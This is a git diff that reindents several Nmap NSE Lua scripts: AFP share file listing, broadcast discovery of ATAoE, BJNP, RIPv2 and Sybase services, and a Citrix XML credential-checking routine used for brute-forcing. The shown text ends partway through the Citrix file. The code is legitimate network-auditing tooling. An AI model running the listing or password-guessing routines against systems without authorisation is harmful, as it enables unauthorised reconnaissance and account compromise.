diff --git a/scripts/afp-ls.nse b/scripts/afp-ls.nse index 1710e5bab..42093d729 100644 --- a/scripts/afp-ls.nse +++ b/scripts/afp-ls.nse @@ -66,105 +66,105 @@ dependencies = {"afp-brute"} portrule = shortport.portnumber(548, "tcp") local function createFileTable() - local filetab = tab.new() + local filetab = tab.new() - tab.add(filetab, 1, "PERMISSION") - tab.add(filetab, 2, "UID") - tab.add(filetab, 3, "GID") - tab.add(filetab, 4, "SIZE") - tab.add(filetab, 5, "TIME") - tab.add(filetab, 6, "FILENAME") - tab.nextrow(filetab) + tab.add(filetab, 1, "PERMISSION") + tab.add(filetab, 2, "UID") + tab.add(filetab, 3, "GID") + tab.add(filetab, 4, "SIZE") + tab.add(filetab, 5, "TIME") + tab.add(filetab, 6, "FILENAME") + tab.nextrow(filetab) - return filetab + return filetab end action = function(host, port) - local afpHelper = afp.Helper:new() - local args = nmap.registry.args - local users = nmap.registry.afp or { ['nil'] = 'nil' } - local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10) - local output = {} + local afpHelper = afp.Helper:new() + local args = nmap.registry.args + local users = nmap.registry.afp or { ['nil'] = 'nil' } + local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10) + local output = {} - if ( args['afp.username'] ) then - users = {} - users[args['afp.username']] = args['afp.password'] - end + if ( args['afp.username'] ) then + users = {} + users[args['afp.username']] = args['afp.password'] + end - for username, password in pairs(users) do + for username, password in pairs(users) do - local status, response = afpHelper:OpenSession(host, port) - if ( not status ) then - stdnse.print_debug(response) - return - end + local status, response = afpHelper:OpenSession(host, port) + if ( not status ) then + stdnse.print_debug(response) + return + end - -- if we have a username attempt to authenticate as the user - -- Attempt to use No User Authentication? - if ( username ~= 'nil' ) then - status, response = afpHelper:Login(username, password) - else - status, response = afpHelper:Login() - end + -- if we have a username attempt to authenticate as the user + -- Attempt to use No User Authentication? + if ( username ~= 'nil' ) then + status, response = afpHelper:Login(username, password) + else + status, response = afpHelper:Login() + end - if ( not status ) then - stdnse.print_debug("afp-showmount: Login failed", response) - stdnse.print_debug(3, "afp-showmount: Login error: %s", response) - return - end + if ( not status ) then + stdnse.print_debug("afp-showmount: Login failed", response) + stdnse.print_debug(3, "afp-showmount: Login error: %s", response) + return + end local vols - status, vols = afpHelper:ListShares() + status, vols = afpHelper:ListShares() - if status then - for _, vol in ipairs( vols ) do - local status, tbl = afpHelper:Dir( vol ) - if ( not(status) ) then - return ("\n\nERROR: Failed to list the contents of %s"):format(vol) - end + if status then + for _, vol in ipairs( vols ) do + local status, tbl = afpHelper:Dir( vol ) + if ( not(status) ) then + return ("\n\nERROR: Failed to list the contents of %s"):format(vol) + end - local file_tab = createFileTable() - local counter = maxfiles or 10 - for _, item in ipairs(tbl[1]) do - if ( item and item.name ) then - local status, result = afpHelper:GetFileUnixPermissions( vol, item.name ) - if ( status ) then - local status, fsize = afpHelper:GetFileSize( vol, item.name) - if ( not(status) ) then - return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name) - end - local status, date = afpHelper:GetFileDates( vol, item.name) - if ( not(status) ) then - return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name) - end + local file_tab = createFileTable() + local counter = maxfiles or 10 + for _, item in ipairs(tbl[1]) do + if ( item and item.name ) then + local status, result = afpHelper:GetFileUnixPermissions( vol, item.name ) + if ( status ) then + local status, fsize = afpHelper:GetFileSize( vol, item.name) + if ( not(status) ) then + return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name) + end + local status, date = afpHelper:GetFileDates( vol, item.name) + if ( not(status) ) then + return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name) + end - tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name) + tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name) - counter = counter - 1 - end - end - if ( counter == 0 ) then break end - end - local result_part = { name = vol } - table.insert(result_part, tab.dump(file_tab)) - table.insert(output, result_part) - end - end + counter = counter - 1 + end + end + if ( counter == 0 ) then break end + end + local result_part = { name = vol } + table.insert(result_part, tab.dump(file_tab)) + table.insert(output, result_part) + end + end - status, response = afpHelper:Logout() - status, response = afpHelper:CloseSession() + status, response = afpHelper:Logout() + status, response = afpHelper:CloseSession() - -- stop after first succesfull attempt - if ( output and #output > 0 ) then - table.insert(output, "") - table.insert(output, ("Information retrieved as: %s"):format(username)) - if ( maxfiles > 0 ) then - table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles)) - end - return stdnse.format_output(true, output) - end - end - return + -- stop after first succesfull attempt + if ( output and #output > 0 ) then + table.insert(output, "") + table.insert(output, ("Information retrieved as: %s"):format(username)) + if ( maxfiles > 0 ) then + table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles)) + end + return stdnse.format_output(true, output) + end + end + return end diff --git a/scripts/broadcast-ataoe-discover.nse b/scripts/broadcast-ataoe-discover.nse index d8a7a3d9b..86e87a582 100644 --- a/scripts/broadcast-ataoe-discover.nse +++ b/scripts/broadcast-ataoe-discover.nse @@ -37,140 +37,140 @@ prerule = function() return true end -- The minimalistic ATAoE interface ATAoE = { - -- Supported commands - Cmd = { - QUERY_CONFIG_INFORMATION = 1, - }, + -- Supported commands + Cmd = { + QUERY_CONFIG_INFORMATION = 1, + }, - Header = { - -- creates a new Header instance - new = function(self, cmd, tag) - local o = { - version = 1, - flags = 0, - major = 0xffff, - minor = 0xff, - error = 0, - cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION, - tag = tag or createRandomTag(), - } - setmetatable(o, self) - self.__index = self - return o - end, + Header = { + -- creates a new Header instance + new = function(self, cmd, tag) + local o = { + version = 1, + flags = 0, + major = 0xffff, + minor = 0xff, + error = 0, + cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION, + tag = tag or createRandomTag(), + } + setmetatable(o, self) + self.__index = self + return o + end, - -- parses a raw string of data and creates a new Header instance - -- @return header new instance of header - parse = function(data) - local header = ATAoE.Header:new() - local pos, verflags + -- parses a raw string of data and creates a new Header instance + -- @return header new instance of header + parse = function(data) + local header = ATAoE.Header:new() + local pos, verflags - pos, verflags, header.error, - header.major, header.minor, - header.cmd, header.tag = bin.unpack(">CCSCCI", data) - header.version = bit.rshift(verflags, 4) - header.flags = bit.band(verflags, 0x0F) - return header - end, + pos, verflags, header.error, + header.major, header.minor, + header.cmd, header.tag = bin.unpack(">CCSCCI", data) + header.version = bit.rshift(verflags, 4) + header.flags = bit.band(verflags, 0x0F) + return header + end, - -- return configuration info request as string - __tostring = function(self) - assert(self.tag, "No tag was specified in Config Info Request") - local verflags = bit.lshift(self.version, 4) - return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag) - end, - }, + -- return configuration info request as string + __tostring = function(self) + assert(self.tag, "No tag was specified in Config Info Request") + local verflags = bit.lshift(self.version, 4) + return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag) + end, + }, - -- The Configuration Info Request - ConfigInfoRequest = { - new = function(self, tag) - local o = { - header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag) - } - setmetatable(o, self) - self.__index = self - return o - end, + -- The Configuration Info Request + ConfigInfoRequest = { + new = function(self, tag) + local o = { + header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag) + } + setmetatable(o, self) + self.__index = self + return o + end, - __tostring = function(self) - return tostring(self.header) - end, - } + __tostring = function(self) + return tostring(self.header) + end, + } } -- Creates a random AoE header tag function createRandomTag() - local str = "" - for i=1, 4 do str = str .. string.char(math.random(255)) end - return select(2, bin.unpack(">I", str)) + local str = "" + for i=1, 4 do str = str .. string.char(math.random(255)) end + return select(2, bin.unpack(">I", str)) end -- Send a Config Info Request to the ethernet broadcast address -- @param iface table as returned by nmap.get_interface_info() local function sendConfigInfoRequest(iface) - local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2 - local req = ATAoE.ConfigInfoRequest:new() - local tag = req.tag + local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2 + local req = ATAoE.ConfigInfoRequest:new() + local tag = req.tag - local p = packet.Frame:new() - p.mac_src = iface.mac - p.mac_dst = packet.mactobin(ETHER_BROADCAST) - p.ether_type = bin.pack(">S", P_ATAOE) - p.buf = tostring(req) - p:build_ether_frame() + local p = packet.Frame:new() + p.mac_src = iface.mac + p.mac_dst = packet.mactobin(ETHER_BROADCAST) + p.ether_type = bin.pack(">S", P_ATAOE) + p.buf = tostring(req) + p:build_ether_frame() - local dnet = nmap.new_dnet() - dnet:ethernet_open(iface.device) - dnet:ethernet_send(p.frame_buf) - dnet:ethernet_close() + local dnet = nmap.new_dnet() + dnet:ethernet_open(iface.device) + dnet:ethernet_send(p.frame_buf) + dnet:ethernet_close() end local function fail(err) return ("\n ERROR: %s"):format(err or "") end action = function() - local iname = nmap.get_interface() - if ( not(iname) ) then - stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME) - return - end + local iname = nmap.get_interface() + if ( not(iname) ) then + stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME) + return + end - if ( not(nmap.is_privileged()) ) then - stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME) - return - end + if ( not(nmap.is_privileged()) ) then + stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME) + return + end - local iface = nmap.get_interface_info(iname) - if ( not(iface) ) then - return fail("Failed to retrieve interface information") - end + local iface = nmap.get_interface_info(iname) + if ( not(iface) ) then + return fail("Failed to retrieve interface information") + end - local pcap = nmap.new_socket() - pcap:set_timeout(5000) - pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac)) + local pcap = nmap.new_socket() + pcap:set_timeout(5000) + pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac)) - sendConfigInfoRequest(iface) + sendConfigInfoRequest(iface) - local result = {} - repeat - local status, len, l2_data, l3_data = pcap:pcap_receive() + local result = {} + repeat + local status, len, l2_data, l3_data = pcap:pcap_receive() - if ( status ) then - local header = ATAoE.Header.parse(l3_data) - local f = packet.Frame:new(l2_data) - f:ether_parse() + if ( status ) then + local header = ATAoE.Header.parse(l3_data) + local f = packet.Frame:new(l2_data) + f:ether_parse() - local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format( - stdnse.format_mac(f.mac_src), - header.version, - header.major, - header.minor) - table.insert(result, str) - end - until( not(status) ) - pcap:pcap_close() + local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format( + stdnse.format_mac(f.mac_src), + header.version, + header.major, + header.minor) + table.insert(result, str) + end + until( not(status) ) + pcap:pcap_close() - if ( #result > 0 ) then - return stdnse.format_output(true, result) - end + if ( #result > 0 ) then + return stdnse.format_output(true, result) + end end diff --git a/scripts/broadcast-bjnp-discover.nse b/scripts/broadcast-bjnp-discover.nse index 37a9b943a..65d90c3a7 100644 --- a/scripts/broadcast-bjnp-discover.nse +++ b/scripts/broadcast-bjnp-discover.nse @@ -44,131 +44,131 @@ local scanner_port = { number = 8612, protocol = "udp"} local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) prerule = function() - if ( nmap.address_family() ~= 'inet' ) then - stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) - return false - end - return true + if ( nmap.address_family() ~= 'inet' ) then + stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) + return false + end + return true end local function identifyDevices(devices, devtype) - local result - local port = ( "printers" == devtype and printer_port or scanner_port ) - for _, ip in ipairs(devices or {}) do - local helper = bjnp.Helper:new({ ip = ip }, port) - if ( helper:connect() ) then - local status, attrs - if ( "printers" == devtype ) then - status, attrs = helper:getPrinterIdentity() - end - if ( "scanners" == devtype ) then - status, attrs = helper:getScannerIdentity() - end - if ( status ) then - result = result or {} - result[ip] = attrs - end - end - helper:close() - end - return result + local result + local port = ( "printers" == devtype and printer_port or scanner_port ) + for _, ip in ipairs(devices or {}) do + local helper = bjnp.Helper:new({ ip = ip }, port) + if ( helper:connect() ) then + local status, attrs + if ( "printers" == devtype ) then + status, attrs = helper:getPrinterIdentity() + end + if ( "scanners" == devtype ) then + status, attrs = helper:getScannerIdentity() + end + if ( status ) then + result = result or {} + result[ip] = attrs + end + end + helper:close() + end + return result end local function identifyScanners(scanners) - return identifyDevices(scanners, "scanners") + return identifyDevices(scanners, "scanners") end local function identifyPrinters(printers) - return identifyDevices(printers, "printers") + return identifyDevices(printers, "printers") end local function getKeys(devices) - local dupes = {} - local function iter() - for k, _ in pairs(devices) do - for k2, _ in pairs(devices[k]) do - if ( not(dupes[k2]) ) then - dupes[k2] = true - coroutine.yield(k2) - end - end - end - coroutine.yield(nil) - end - return coroutine.wrap(iter) + local dupes = {} + local function iter() + for k, _ in pairs(devices) do + for k2, _ in pairs(devices[k]) do + if ( not(dupes[k2]) ) then + dupes[k2] = true + coroutine.yield(k2) + end + end + end + coroutine.yield(nil) + end + return coroutine.wrap(iter) end local function getPrinters(devices) - local condvar = nmap.condvar(devices) - local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } ) - if ( not(helper:connect()) ) then - condvar "signal" - return - end - local status, printers = helper:discoverPrinter() - helper:close() - if ( status ) then - devices["printers"] = identifyPrinters(printers) - end - condvar "signal" + local condvar = nmap.condvar(devices) + local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } ) + if ( not(helper:connect()) ) then + condvar "signal" + return + end + local status, printers = helper:discoverPrinter() + helper:close() + if ( status ) then + devices["printers"] = identifyPrinters(printers) + end + condvar "signal" end local function getScanners(devices) - local condvar = nmap.condvar(devices) - local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } ) - if ( not(helper:connect()) ) then - condvar "signal" - return - end - local status, scanners = helper:discoverScanner() - helper:close() - if ( status ) then - devices["scanners"] = identifyScanners(scanners) - end - condvar "signal" + local condvar = nmap.condvar(devices) + local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } ) + if ( not(helper:connect()) ) then + condvar "signal" + return + end + local status, scanners = helper:discoverScanner() + helper:close() + if ( status ) then + devices["scanners"] = identifyScanners(scanners) + end + condvar "signal" end action = function() - arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000) - local devices, result, threads = {}, {}, {} - local condvar = nmap.condvar(devices) + arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000) + local devices, result, threads = {}, {}, {} + local condvar = nmap.condvar(devices) - local co = stdnse.new_thread(getPrinters, devices) - threads[co] = true + local co = stdnse.new_thread(getPrinters, devices) + threads[co] = true - co = stdnse.new_thread(getScanners, devices) - threads[co] = true + co = stdnse.new_thread(getScanners, devices) + threads[co] = true - while(next(threads)) do - for t in pairs(threads) do - threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil - end - if ( next(threads) ) then - condvar "wait" - end - end + while(next(threads)) do + for t in pairs(threads) do + threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil + end + if ( next(threads) ) then + condvar "wait" + end + end - for ip in getKeys(devices) do - local result_part = {} - local printer = ( devices["printers"] and devices["printers"][ip] ) - local scanner = ( devices["scanners"] and devices["scanners"][ip] ) + for ip in getKeys(devices) do + local result_part = {} + local printer = ( devices["printers"] and devices["printers"][ip] ) + local scanner = ( devices["scanners"] and devices["scanners"][ip] ) - if ( printer ) then - printer.name = "Printer" - table.insert(result_part, printer) - end - if ( scanner ) then - scanner.name = "Scanner" - table.insert(result_part, scanner) - end - if ( #result_part > 0 ) then - result_part.name = ip - table.insert(result, result_part) - end - end + if ( printer ) then + printer.name = "Printer" + table.insert(result_part, printer) + end + if ( scanner ) then + scanner.name = "Scanner" + table.insert(result_part, scanner) + end + if ( #result_part > 0 ) then + result_part.name = ip + table.insert(result, result_part) + end + end - if ( result ) then - return stdnse.format_output(true, result) - end + if ( result ) then + return stdnse.format_output(true, result) + end end diff --git a/scripts/broadcast-rip-discover.nse b/scripts/broadcast-rip-discover.nse index 59051cfbd..63e92739c 100644 --- a/scripts/broadcast-rip-discover.nse +++ b/scripts/broadcast-rip-discover.nse @@ -48,134 +48,134 @@ prerule = function() return not( nmap.address_family() == "inet6") end RIPv2 = { - Command = { - Request = 1, - Response = 2, - }, + Command = { + Request = 1, + Response = 2, + }, - AddressFamily = { - IP = 2, - }, + AddressFamily = { + IP = 2, + }, - -- The Request class contains functions to build a RIPv2 Request - Request = { + -- The Request class contains functions to build a RIPv2 Request + Request = { - -- Creates a new Request instance - -- - -- @param command number containing the RIPv2 Command to use - -- @return o instance of request - new = function(self, command) - local o = { - version = 2, - command = command, - domain = 0, - family = 0, - tag = 0, - address = 0, - subnet = 0, - nexthop = 0, - metric = 16 - } - setmetatable(o, self) - self.__index = self - return o - end, + -- Creates a new Request instance + -- + -- @param command number containing the RIPv2 Command to use + -- @return o instance of request + new = function(self, command) + local o = { + version = 2, + command = command, + domain = 0, + family = 0, + tag = 0, + address = 0, + subnet = 0, + nexthop = 0, + metric = 16 + } + setmetatable(o, self) + self.__index = self + return o + end, - -- Converts the whole request to a string - __tostring = function(self) - assert(self.command, "No command was supplied") - assert(self.metric, "No metric was supplied") - assert(self.address, "No address was supplied") - local RESERVED = 0 - -- RIPv2 stuff, should be 0 for RIPv1 - local tag, subnet, nexthop = 0, 0, 0 + -- Converts the whole request to a string + __tostring = function(self) + assert(self.command, "No command was supplied") + assert(self.metric, "No metric was supplied") + assert(self.address, "No address was supplied") + local RESERVED = 0 + -- RIPv2 stuff, should be 0 for RIPv1 + local tag, subnet, nexthop = 0, 0, 0 - local data = bin.pack(">CCSSSIIII", - self.command, self.version, self.domain, self.family, self.tag, - self.address, self.subnet, self.nexthop, self.metric) + local data = bin.pack(">CCSSSIIII", + self.command, self.version, self.domain, self.family, self.tag, + self.address, self.subnet, self.nexthop, self.metric) - return data - end, + return data + end, - }, + }, - -- The Response class contains code needed to parse a RIPv2 response - Response = { + -- The Response class contains code needed to parse a RIPv2 response + Response = { - -- Creates a new Response instance based on raw socket data - -- - -- @param data string containing the raw socket response - -- @return o Response instance - new = function(self, data) - local o = { data = data } + -- Creates a new Response instance based on raw socket data + -- + -- @param data string containing the raw socket response + -- @return o Response instance + new = function(self, data) + local o = { data = data } - if ( not(data) or #data < 3 ) then - return - end - local pos - pos, o.command, o.version = bin.unpack(">CCS", data) - if ( o.command ~= RIPv2 and o.version ~= 2 ) then - return - end + if ( not(data) or #data < 3 ) then + return + end + local pos + pos, o.command, o.version = bin.unpack(">CCS", data) + if ( o.command ~= RIPv2 and o.version ~= 2 ) then + return + end - local routes = tab.new(2) - tab.addrow(routes, "ip", "netmask", "nexthop", "metric") + local routes = tab.new(2) + tab.addrow(routes, "ip", "netmask", "nexthop", "metric") - while( #data - pos >= 20 ) do - local family, address, metric, _, netmask, nexthop - pos, family, _, address, netmask, nexthop, - metric = bin.unpack(">SSI", data, pos) + while( #data - pos >= 20 ) do + local family, address, metric, _, netmask, nexthop + pos, family, _, address, netmask, nexthop, + metric = bin.unpack(">SSI", data, pos) - if ( family == RIPv2.AddressFamily.IP ) then - local ip = ipOps.fromdword(address) - netmask = ipOps.fromdword(netmask) - nexthop = ipOps.fromdword(nexthop) - tab.addrow(routes, ip, netmask, nexthop, metric) - end - end + if ( family == RIPv2.AddressFamily.IP ) then + local ip = ipOps.fromdword(address) + netmask = ipOps.fromdword(netmask) + nexthop = ipOps.fromdword(nexthop) + tab.addrow(routes, ip, netmask, nexthop, metric) + end + end - if ( #routes > 1 ) then o.routes = routes end + if ( #routes > 1 ) then o.routes = routes end - setmetatable(o, self) - self.__index = self - return o - end, + setmetatable(o, self) + self.__index = self + return o + end, - } + } } action = function() - local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout')) - timeout = (timeout or 5) * 1000 + local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout')) + timeout = (timeout or 5) * 1000 - local socket = nmap.new_socket("udp") - socket:set_timeout(timeout) + local socket = nmap.new_socket("udp") + socket:set_timeout(timeout) - local rip = RIPv2.Request:new(RIPv2.Command.Request) - local status, err = socket:sendto("224.0.0.9", - { number = 520, protocol = "udp" }, - tostring(rip)) - local result = {} - repeat - local data - status, data = socket:receive() - if ( status ) then - local status, _, _, rhost, _ = socket:get_info() - local response = RIPv2.Response:new(data) - table.insert(result, rhost) + local rip = RIPv2.Request:new(RIPv2.Command.Request) + local status, err = socket:sendto("224.0.0.9", + { number = 520, protocol = "udp" }, + tostring(rip)) + local result = {} + repeat + local data + status, data = socket:receive() + if ( status ) then + local status, _, _, rhost, _ = socket:get_info() + local response = RIPv2.Response:new(data) + table.insert(result, rhost) - if ( response and response.routes and #response.routes > 0 ) then - --response.routes.name = "Routes" - table.insert(result, { tab.dump(response.routes) } ) - end + if ( response and response.routes and #response.routes > 0 ) then + --response.routes.name = "Routes" + table.insert(result, { tab.dump(response.routes) } ) + end - end - until( not(status) ) + end + until( not(status) ) - if ( #result > 0 ) then - result.name = "Discovered RIPv2 devices" - end - return stdnse.format_output(true, result) + if ( #result > 0 ) then + result.name = "Discovered RIPv2 devices" + end + return stdnse.format_output(true, result) end diff --git a/scripts/broadcast-sybase-asa-discover.nse b/scripts/broadcast-sybase-asa-discover.nse index b536fce62..d2300ecc0 100644 --- a/scripts/broadcast-sybase-asa-discover.nse +++ b/scripts/broadcast-sybase-asa-discover.nse @@ -32,157 +32,157 @@ prerule = function() return ( nmap.address_family() == "inet") end -- Ping = { - -- The PING request class - Request = { + -- The PING request class + Request = { - -- Creates a new Ping request - new = function(self) - local o = {} - setmetatable(o, self) - self.__index = self - return o - end, + -- Creates a new Ping request + new = function(self) + local o = {} + setmetatable(o, self) + self.__index = self + return o + end, - -- returns the ping request as a string - __tostring = function(self) - return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS", - "000000010000040005000500000102000003010104080000000000000000070204b1") - end - }, + -- returns the ping request as a string + __tostring = function(self) + return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS", + "000000010000040005000500000102000003010104080000000000000000070204b1") + end + }, - -- The Ping Response class - Response = { - -- Creates a new response - -- @param data string containing the raw data as received over the socket - -- @return o instance of Response - new = function(self, data) - local o = { data = data } - setmetatable(o, self) - self.__index = self - o:parse() - if ( o.dbinstance ) then - return o - end - end, + -- The Ping Response class + Response = { + -- Creates a new response + -- @param data string containing the raw data as received over the socket + -- @return o instance of Response + new = function(self, data) + local o = { data = data } + setmetatable(o, self) + self.__index = self + o:parse() + if ( o.dbinstance ) then + return o + end + end, - -- Parses the raw response and populates the - -- dbinstance.name and dbinstance.port fields - parse = function(self) - -- do a very basic length check - local pos, len = bin.unpack(">I", self.data) - len = bit.band(len, 0x0000FFFF) + -- Parses the raw response and populates the + -- dbinstance.name and dbinstance.port fields + parse = function(self) + -- do a very basic length check + local pos, len = bin.unpack(">I", self.data) + len = bit.band(len, 0x0000FFFF) - if ( len ~= #self.data ) then - stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data) - return - end + if ( len ~= #self.data ) then + stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data) + return + end - local connectionless_tds - pos, connectionless_tds = bin.unpack("p", self.data, 9) - if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then - stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header") - return - end + local connectionless_tds + pos, connectionless_tds = bin.unpack("p", self.data, 9) + if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then + stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header") + return + end - self.dbinstance = {} - pos, self.dbinstance.name = bin.unpack("p", self.data, 40) - pos = pos + 2 - pos, self.dbinstance.port = bin.unpack(">S", self.data, pos) - end, - } + self.dbinstance = {} + pos, self.dbinstance.name = bin.unpack("p", self.data, 40) + pos = pos + 2 + pos, self.dbinstance.port = bin.unpack(">S", self.data, pos) + end, + } } -- Main script interface Helper = { - -- Creates a new helper instance - -- @param host table as received by the action method - -- @param port table as received by the action method - -- @param options table containing: - -- timeout - the amount of time to listen for responses - -- @return o instance of Helper - new = function(self, host, port, options) - local o = { - host = host, - port = port, - options = options or {} - } - setmetatable(o, self) - self.__index = self - return o - end, + -- Creates a new helper instance + -- @param host table as received by the action method + -- @param port table as received by the action method + -- @param options table containing: + -- timeout - the amount of time to listen for responses + -- @return o instance of Helper + new = function(self, host, port, options) + local o = { + host = host, + port = port, + options = options or {} + } + setmetatable(o, self) + self.__index = self + return o + end, - -- Sends a ping request to the service and processes the response - -- @return status true on success, false on failure - -- @return instances table of instance tables containing - -- name - the instance name - -- ip - the instance ip - -- port - the instance port - -- err string containing error message on failure - ping = function(self) - local socket = nmap.new_socket("udp") - socket:set_timeout(1000) + -- Sends a ping request to the service and processes the response + -- @return status true on success, false on failure + -- @return instances table of instance tables containing + -- name - the instance name + -- ip - the instance ip + -- port - the instance port + -- err string containing error message on failure + ping = function(self) + local socket = nmap.new_socket("udp") + socket:set_timeout(1000) - -- send 2 packets just in case - for i=1, 2 do - local ping_req = Ping.Request:new() - local status, err = socket:sendto(self.host, self.port, tostring(ping_req)) - if ( not(status) ) then - return false, "Failed to send broadcast packet" - end - end + -- send 2 packets just in case + for i=1, 2 do + local ping_req = Ping.Request:new() + local status, err = socket:sendto(self.host, self.port, tostring(ping_req)) + if ( not(status) ) then + return false, "Failed to send broadcast packet" + end + end - local stime = os.time() - local instances = {} - local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) ) + local stime = os.time() + local instances = {} + local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) ) - repeat - local status, data = socket:receive() - if ( status ) then - local response = Ping.Response:new(data) - if ( response ) then - local status, _, _, rhost, _ = socket:get_info() - if ( not(status) ) then - socket:close() - return false, "Failed to get socket information" - end - response.dbinstance.ip = rhost - -- avoid duplicates - instances[response.dbinstance.name] = response.dbinstance - end - end - until( os.time() - stime > timeout ) - socket:close() + repeat + local status, data = socket:receive() + if ( status ) then + local response = Ping.Response:new(data) + if ( response ) then + local status, _, _, rhost, _ = socket:get_info() + if ( not(status) ) then + socket:close() + return false, "Failed to get socket information" + end + response.dbinstance.ip = rhost + -- avoid duplicates + instances[response.dbinstance.name] = response.dbinstance + end + end + until( os.time() - stime > timeout ) + socket:close() - return true, instances - end, + return true, instances + end, } action = function() - local timeout = ( 20 / ( nmap.timing_level() + 1 ) ) - local host = { ip = "255.255.255.255" } - local port = { number = 2638, protocol = "udp" } + local timeout = ( 20 / ( nmap.timing_level() + 1 ) ) + local host = { ip = "255.255.255.255" } + local port = { number = 2638, protocol = "udp" } - local helper = Helper:new(host, port) - local status, instances = helper:ping() + local helper = Helper:new(host, port) + local status, instances = helper:ping() - if ( not(status) ) then - return ("\n ERROR: %s"):format(instances) - end + if ( not(status) ) then + return ("\n ERROR: %s"):format(instances) + end - -- if we don't have any instances, silently abort - if ( next(instances) == nil ) then - return - end + -- if we don't have any instances, silently abort + if ( next(instances) == nil ) then + return + end - local result = {} - for _, instance in pairs(instances) do - table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port)) - end - table.sort(result) - return stdnse.format_output(true, result) + local result = {} + for _, instance in pairs(instances) do + table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port)) + end + table.sort(result) + return stdnse.format_output(true, result) end diff --git a/scripts/citrix-brute-xml.nse b/scripts/citrix-brute-xml.nse index 880c64c7a..dd2534b04 100644 --- a/scripts/citrix-brute-xml.nse +++ b/scripts/citrix-brute-xml.nse @@ -52,42 +52,42 @@ portrule = shortport.portnumber({8080,80,443}, "tcp") -- function verify_password( host, port, username, password, domain ) - local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}}) - local cred_status = citrixxml.parse_validate_credentials_response(response) + local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}}) + local cred_status = citrixxml.parse_validate_credentials_response(response) - local account = {} + local account = {} - account.username = username - account.password = password - account.domain = domain + account.username = username + account.password = password + account.domain = domain - if cred_status.ErrorId then - if cred_status.ErrorId == "must-change-credentials" then - account.valid = true - account.message = "Must change password at next logon" - elseif cred_status.ErrorId == "account-disabled" then - account.valid = true - account.message = "Account is disabled" - elseif cred_status.ErrorId == "account-locked-out" then - account.valid = false - account.message = "Account Locked Out" - elseif cred_status.ErrorId == "failed-credentials" then - account.valid = false - account.message = "Incorrect Password" - elseif cred_status.ErrorId == "unspecified" then - account.valid = false - account.message = "Unspecified" - else - stdnse.print_debug("UNKNOWN response: " .. response) - account.valid = false - account.message = "failed" - end - else - account.message = "Login was successful" - account.valid = true - end + if cred_status.ErrorId then + if cred_status.ErrorId == "must-change-credentials" then + account.valid = true + account.message = "Must change password at next logon" + elseif cred_status.ErrorId == "account-disabled" then + account.valid = true + account.message = "Account is disabled" + elseif cred_status.ErrorId == "account-locked-out" then + account.valid = false + account.message = "Account Locked Out" + elseif cred_status.ErrorId == "failed-credentials" then + account.valid = false + account.message = "Incorrect Password" + elseif cred_status.ErrorId == "unspecified" then + account.valid = false + account.message = "Unspecified" + else + stdnse.print_debug("UNKNOWN response: " .. response) + account.valid = false + account.message = "failed" + end + else + account.message = "Login was successful" + account.valid = true + end - return account + return 